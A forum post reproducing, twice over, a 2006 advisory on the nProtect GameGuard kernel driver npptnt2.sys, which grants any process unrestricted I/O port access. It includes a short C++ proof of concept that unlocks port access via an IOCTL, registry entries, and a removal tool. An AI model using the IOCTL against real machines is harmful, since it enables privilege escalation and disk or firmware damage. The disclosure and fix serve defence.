lospepes
21st February 2006, 11:10
--------------------------------------------------------------------------------
Methods of propagation:
http://eng.nprotect.com/partner.htm
Vulnerable Operating Systems:
Windows 2000
Windows XP
Windows 2003
Non-Vulnerable Operating Systems:
Windows 9x
Vulnerability:
nProtect Gameguard is an application bundled with multiplayer games which
hides the game application process, monitors the entire memory range,
terminates applications defined by the game vendor and INCA to be cheats,
blocks certain calls to DirectX functions, and auto-updates itself.
To achieve some of these ends the program uses a kernel driver by the name
of nppt9x.vxd (Windows9x) and npptnt2.sys (Windows NT).
Due to the nature of Windows 9x design, the vulnerability we are about to
discuss has no bearing. A malicious individual could achieve the same ends
on Windows 9x without the need of the npptnt2.vxd driver.
This kernel mode driver allows any process to access it, and it modifies the
I/O permission mask for the calling process to allow unrestricted I/O in
user mode. The design of modern operating systems does not generally allow
for any I/O access from user mode code for system stability and security.
The driver uses undocumented kernel function Ke386SetIoAccessMap and
Ke386IoSetAccessProcess to achieve this; the driver is very similar to the
PortTalk sample available at
http://www.beyondlogic.org/porttalk/porttalk.htm.
Allowing a process unrestricted I/O access has the following risks:
1. If the process behaves unexpectedly (for example, a stack corruption
returning to arbitrary code), I/O instructions could be issued, leading to
potential problems with the system, bad data, etc.
2. A malicious process could elevate its privilege level on the system by
using direct hardware access to read / write the hard disk, program the DMA
controller, etc., or it could damage the system by resetting CMOS,
formatting the hard drive, etc.
The driver is installed as a system service. Even when Gameguard and the
multiplayer game(s) are closed, the driver continues running. The driver is
accessible under a non-admin account and is activated every boot. It does
not uninstall when the application is removed and in fact will not even
uninstall if selected in Device Manager and told to uninstall. The driver
must be deleted manually, and the registry must be edited to remove the
remaining reference.
It is true that even with this vulnerabilty the user must still be tricked
into running a malicious application that exploits it. However, in South
Korea, where the Gameguard service is widely used, net cafes have become
part of the social fabric. These machines are ripe fruit for damage.
At the more challenging level, one could use this hardware access to turn
the PC into a zombie. One could datamine information (bypassing NTFS
permissions), commit DDoS attacks, or escalate privileges on the system, by
putting the IDE controller into PIO mode, searching the disk for the system
DLLs, and replacing them with code altered to grant admin privilege. The
possibilities at this level of hardware access are nearly endless.
Reproduction and Proof of Concept:
See attached NPPTNT2Access.cpp for proof of concept attack.
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\NPPTNT2]
"Type"=dword:00000001
"Start"=dword:00000001
"ErrorControl"=dword:00000001
"ImagePath"=hex(2):5c,00,3f,00,3f,00,5c,00,43,00,3a,00,5c,00, 57,00,49,00,4e,
00,\
44,00,4f,00,57,00,53,00,5c,00,73,00,79,00,73,00,74 ,00,65,00,6d,00,33,00,32,\
00,5c,00,6e,00,70,00,70,00,74,00,4e,00,54,00,32,00 ,2e,00,73,00,79,00,73,00,\
00,00
"DisplayName"="NPPTNT2"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\NPPTNT2\Security]
"Security"=hex:01,00,14,80,90,00,00,00,9c,00,00,00,14,00,00, 00,30,00,00,00,0
2,\
00,1c,00,01,00,00,00,02,80,14,00,ff,01,0f,00,01,01 ,00,00,00,00,00,01,00,00,\
00,00,02,00,60,00,04,00,00,00,00,00,14,00,fd,01,02 ,00,01,01,00,00,00,00,00,\
05,12,00,00,00,00,00,18,00,ff,01,0f,00,01,02,00,00 ,00,00,00,05,20,00,00,00,\
20,02,00,00,00,00,14,00,8d,01,02,00,01,01,00,00,00 ,00,00,05,0b,00,00,00,00,\
00,18,00,fd,01,02,00,01,02,00,00,00,00,00,05,20,00 ,00,00,23,02,00,00,01,01,\
00,00,00,00,00,05,12,00,00,00,01,01,00,00,00,00,00 ,05,12,00,00,00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\NPPTNT2\Enum]
"0"="Root\\LEGACY_NPPTNT2\\0000"
"Count"=dword:00000001
"NextInstance"=dword:00000001
Solutions/Fixes:
nProtectRemover.cpp source has been provided to allow the creation of a
self-removal tool.
It is important to note the following:
Under an admin account, Gameguard will automatically replace any deleted
piece of itself upon the launching of the game application. Under a
non-admin account, the game application will not even function without the
driver in place. The user is forced, by fears of being compromised or by
the simple fact that the game will not run, not to play at all. The
alternative is for the user to exercise extreme caution in the applications
he or she chooses to run. Virus scanners will not detect or warn a user in
advance. In light of these issues, the burden upon the user is very high.
References:
http://eng.nprotect.com/nprotect_gameguard.htm
http://eng.nprotect.com/index.html
http://www.inca.co.kr/
http://eng.nprotect.com/partner.htm
http://www.mmogchart.com/
http://www.beyondlogic.org/porttalk/porttalk.htm
http://www.lineage2.com/pds/pds_ts_client.html
-NPPTNT2Access.cpp
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows
headers
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#include <winioctl.h>
#include <conio.h>
int main(int argc, char* argv[])
{
bool bCall = true;
// check args - if there is an arg and it is 0, don't call the IO control.
if (argc > 1 && 0 == strcmp(argv[1], "0"))
{
bCall = false;
}
puts("Opening \\\\.\\NPPTNT2\r");
HANDLE hFile = CreateFile("\\\\.\\NPPTNT2", 0, 0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if (hFile != INVALID_HANDLE_VALUE)
{
if (bCall)
{
puts("Calling DeviceIoControl\r");
DWORD dwRet = 0;
// Take this line out and the _inp will give you an AV
DeviceIoControl(hFile, 0x958A2568, 0, 0, 0, 0, &dwRet, 0);
}
puts("About to _inp(0x378)\r");
__try
{
_inp(0x378);
}
__except(1)
{
puts("Failed reading port\r");
return 0;
}
puts("Success reading port\r");
CloseHandle(hFile);
}
else
{
puts("Driver not found\r");
}
return 0;
}
-nProtectRemover.cpp
//nProtectRemover, delete the security threat nProtect from your system.
//Coded by MugiMugi
//I dont take any responsibility if this harm your system, but I higly doubt
it will.
#include <windows.h>
#include <winsvc.h>
#include <winbase.h>
#include <string>
#include <iostream>
bool StopService(LPCTSTR pszInternalName);
bool ServiceRemove(LPCTSTR pszInternalName);
int main(int, char**) {
std::string tmp;
std::cout << "This app will remove nProtect from your system, do you want
to continue type YES with big letters?\n:> ";
std::cin >> tmp;
if (tmp!="YES")
return 0;
std::cout << "Removing nProtect" << std::endl;
//Stoping npptnt2 service
if (!StopService("npptnt2"))
{
std::cout << "Unable to stop device npptnt2" << std::endl;
return 0;
}
//deleting npptnt2 service
if (!ServiceRemove("npptnt2"))
{
std::cout << "Unable to delete device npptnt2" << std::endl;
return 0;
}
//Deleting the registry stuff
RegDeleteKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\NPPTNT
2\\Security");
RegDeleteKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\NPPTNT
2\\Enum");
RegDeleteKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\NPPTNT
2");
//Deleting npptnt2.sys and nppt9x.vxd
char buffer[MAX_PATH];
GetSystemDirectory(buffer,MAX_PATH);
std::string base(buffer);
std::string filename = base + "\\npptnt2.sys";
DeleteFile(filename.c_str());
filename = base + "\\nppt9x.vxd";
DeleteFile(filename.c_str());
//Bye bye
return 0;
}
// Stop service
bool StopService(LPCTSTR pszInternalName) {
SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
if (NULL == hSCM)
return false;
SC_HANDLE hService = OpenService(hSCM, pszInternalName, SERVICE_STOP);
if (NULL == hService)
{
CloseServiceHandle(hSCM);
return false;
}
SERVICE_STATUS ss;
bool bSuccess = ControlService(hService, SERVICE_CONTROL_STOP, &ss);
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return bSuccess;
}
// Remove service
bool ServiceRemove(LPCTSTR pszInternalName) {
SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
if (NULL == hSCM)
return false;
SC_HANDLE hService = OpenService(hSCM, pszInternalName, DELETE);
if (NULL == hService)
{
CloseServiceHandle(hSCM);
return false;
}
bool bSuccess = DeleteService(hService);
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return bSuccess;
}
--------------------------------------------------------------------------------
O.O
Methods of propagation:
http://eng.nprotect.com/partner.htm
Vulnerable Operating Systems:
Windows 2000
Windows XP
Windows 2003
Non-Vulnerable Operating Systems:
Windows 9x
Vulnerability:
nProtect Gameguard is an application bundled with multiplayer games which
hides the game application process, monitors the entire memory range,
terminates applications defined by the game vendor and INCA to be cheats,
blocks certain calls to DirectX functions, and auto-updates itself.
To achieve some of these ends the program uses a kernel driver by the name
of nppt9x.vxd (Windows9x) and npptnt2.sys (Windows NT).
Due to the nature of Windows 9x design, the vulnerability we are about to
discuss has no bearing. A malicious individual could achieve the same ends
on Windows 9x without the need of the npptnt2.vxd driver.
This kernel mode driver allows any process to access it, and it modifies the
I/O permission mask for the calling process to allow unrestricted I/O in
user mode. The design of modern operating systems does not generally allow
for any I/O access from user mode code for system stability and security.
The driver uses undocumented kernel function Ke386SetIoAccessMap and
Ke386IoSetAccessProcess to achieve this; the driver is very similar to the
PortTalk sample available at
http://www.beyondlogic.org/porttalk/porttalk.htm.
Allowing a process unrestricted I/O access has the following risks:
1. If the process behaves unexpectedly (for example, a stack corruption
returning to arbitrary code), I/O instructions could be issued, leading to
potential problems with the system, bad data, etc.
2. A malicious process could elevate its privilege level on the system by
using direct hardware access to read / write the hard disk, program the DMA
controller, etc., or it could damage the system by resetting CMOS,
formatting the hard drive, etc.
The driver is installed as a system service. Even when Gameguard and the
multiplayer game(s) are closed, the driver continues running. The driver is
accessible under a non-admin account and is activated every boot. It does
not uninstall when the application is removed and in fact will not even
uninstall if selected in Device Manager and told to uninstall. The driver
must be deleted manually, and the registry must be edited to remove the
remaining reference.
It is true that even with this vulnerabilty the user must still be tricked
into running a malicious application that exploits it. However, in South
Korea, where the Gameguard service is widely used, net cafes have become
part of the social fabric. These machines are ripe fruit for damage.
At the more challenging level, one could use this hardware access to turn
the PC into a zombie. One could datamine information (bypassing NTFS
permissions), commit DDoS attacks, or escalate privileges on the system, by
putting the IDE controller into PIO mode, searching the disk for the system
DLLs, and replacing them with code altered to grant admin privilege. The
possibilities at this level of hardware access are nearly endless.
Reproduction and Proof of Concept:
See attached NPPTNT2Access.cpp for proof of concept attack.
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\NPPTNT2]
"Type"=dword:00000001
"Start"=dword:00000001
"ErrorControl"=dword:00000001
"ImagePath"=hex(2):5c,00,3f,00,3f,00,5c,00,43,00,3a,00,5c,00, 57,00,49,00,4e,
00,\
44,00,4f,00,57,00,53,00,5c,00,73,00,79,00,73,00,74 ,00,65,00,6d,00,33,00,32,\
00,5c,00,6e,00,70,00,70,00,74,00,4e,00,54,00,32,00 ,2e,00,73,00,79,00,73,00,\
00,00
"DisplayName"="NPPTNT2"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\NPPTNT2\Security]
"Security"=hex:01,00,14,80,90,00,00,00,9c,00,00,00,14,00,00, 00,30,00,00,00,0
2,\
00,1c,00,01,00,00,00,02,80,14,00,ff,01,0f,00,01,01 ,00,00,00,00,00,01,00,00,\
00,00,02,00,60,00,04,00,00,00,00,00,14,00,fd,01,02 ,00,01,01,00,00,00,00,00,\
05,12,00,00,00,00,00,18,00,ff,01,0f,00,01,02,00,00 ,00,00,00,05,20,00,00,00,\
20,02,00,00,00,00,14,00,8d,01,02,00,01,01,00,00,00 ,00,00,05,0b,00,00,00,00,\
00,18,00,fd,01,02,00,01,02,00,00,00,00,00,05,20,00 ,00,00,23,02,00,00,01,01,\
00,00,00,00,00,05,12,00,00,00,01,01,00,00,00,00,00 ,05,12,00,00,00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\NPPTNT2\Enum]
"0"="Root\\LEGACY_NPPTNT2\\0000"
"Count"=dword:00000001
"NextInstance"=dword:00000001
Solutions/Fixes:
nProtectRemover.cpp source has been provided to allow the creation of a
self-removal tool.
It is important to note the following:
Under an admin account, Gameguard will automatically replace any deleted
piece of itself upon the launching of the game application. Under a
non-admin account, the game application will not even function without the
driver in place. The user is forced, by fears of being compromised or by
the simple fact that the game will not run, not to play at all. The
alternative is for the user to exercise extreme caution in the applications
he or she chooses to run. Virus scanners will not detect or warn a user in
advance. In light of these issues, the burden upon the user is very high.
References:
http://eng.nprotect.com/nprotect_gameguard.htm
http://eng.nprotect.com/index.html
http://www.inca.co.kr/
http://eng.nprotect.com/partner.htm
http://www.mmogchart.com/
http://www.beyondlogic.org/porttalk/porttalk.htm
http://www.lineage2.com/pds/pds_ts_client.html
-NPPTNT2Access.cpp
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows
headers
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#include <winioctl.h>
#include <conio.h>
int main(int argc, char* argv[])
{
bool bCall = true;
// check args - if there is an arg and it is 0, don't call the IO control.
if (argc > 1 && 0 == strcmp(argv[1], "0"))
{
bCall = false;
}
puts("Opening \\\\.\\NPPTNT2\r");
HANDLE hFile = CreateFile("\\\\.\\NPPTNT2", 0, 0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if (hFile != INVALID_HANDLE_VALUE)
{
if (bCall)
{
puts("Calling DeviceIoControl\r");
DWORD dwRet = 0;
// Take this line out and the _inp will give you an AV
DeviceIoControl(hFile, 0x958A2568, 0, 0, 0, 0, &dwRet, 0);
}
puts("About to _inp(0x378)\r");
__try
{
_inp(0x378);
}
__except(1)
{
puts("Failed reading port\r");
return 0;
}
puts("Success reading port\r");
CloseHandle(hFile);
}
else
{
puts("Driver not found\r");
}
return 0;
}
-nProtectRemover.cpp
//nProtectRemover, delete the security threat nProtect from your system.
//Coded by MugiMugi
//I dont take any responsibility if this harm your system, but I higly doubt
it will.
#include <windows.h>
#include <winsvc.h>
#include <winbase.h>
#include <string>
#include <iostream>
bool StopService(LPCTSTR pszInternalName);
bool ServiceRemove(LPCTSTR pszInternalName);
int main(int, char**) {
std::string tmp;
std::cout << "This app will remove nProtect from your system, do you want
to continue type YES with big letters?\n:> ";
std::cin >> tmp;
if (tmp!="YES")
return 0;
std::cout << "Removing nProtect" << std::endl;
//Stoping npptnt2 service
if (!StopService("npptnt2"))
{
std::cout << "Unable to stop device npptnt2" << std::endl;
return 0;
}
//deleting npptnt2 service
if (!ServiceRemove("npptnt2"))
{
std::cout << "Unable to delete device npptnt2" << std::endl;
return 0;
}
//Deleting the registry stuff
RegDeleteKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\NPPTNT
2\\Security");
RegDeleteKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\NPPTNT
2\\Enum");
RegDeleteKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\NPPTNT
2");
//Deleting npptnt2.sys and nppt9x.vxd
char buffer[MAX_PATH];
GetSystemDirectory(buffer,MAX_PATH);
std::string base(buffer);
std::string filename = base + "\\npptnt2.sys";
DeleteFile(filename.c_str());
filename = base + "\\nppt9x.vxd";
DeleteFile(filename.c_str());
//Bye bye
return 0;
}
// Stop service
bool StopService(LPCTSTR pszInternalName) {
SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
if (NULL == hSCM)
return false;
SC_HANDLE hService = OpenService(hSCM, pszInternalName, SERVICE_STOP);
if (NULL == hService)
{
CloseServiceHandle(hSCM);
return false;
}
SERVICE_STATUS ss;
bool bSuccess = ControlService(hService, SERVICE_CONTROL_STOP, &ss);
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return bSuccess;
}
// Remove service
bool ServiceRemove(LPCTSTR pszInternalName) {
SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
if (NULL == hSCM)
return false;
SC_HANDLE hService = OpenService(hSCM, pszInternalName, DELETE);
if (NULL == hService)
{
CloseServiceHandle(hSCM);
return false;
}
bool bSuccess = DeleteService(hService);
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return bSuccess;
}
--------------------------------------------------------------------------------
O.O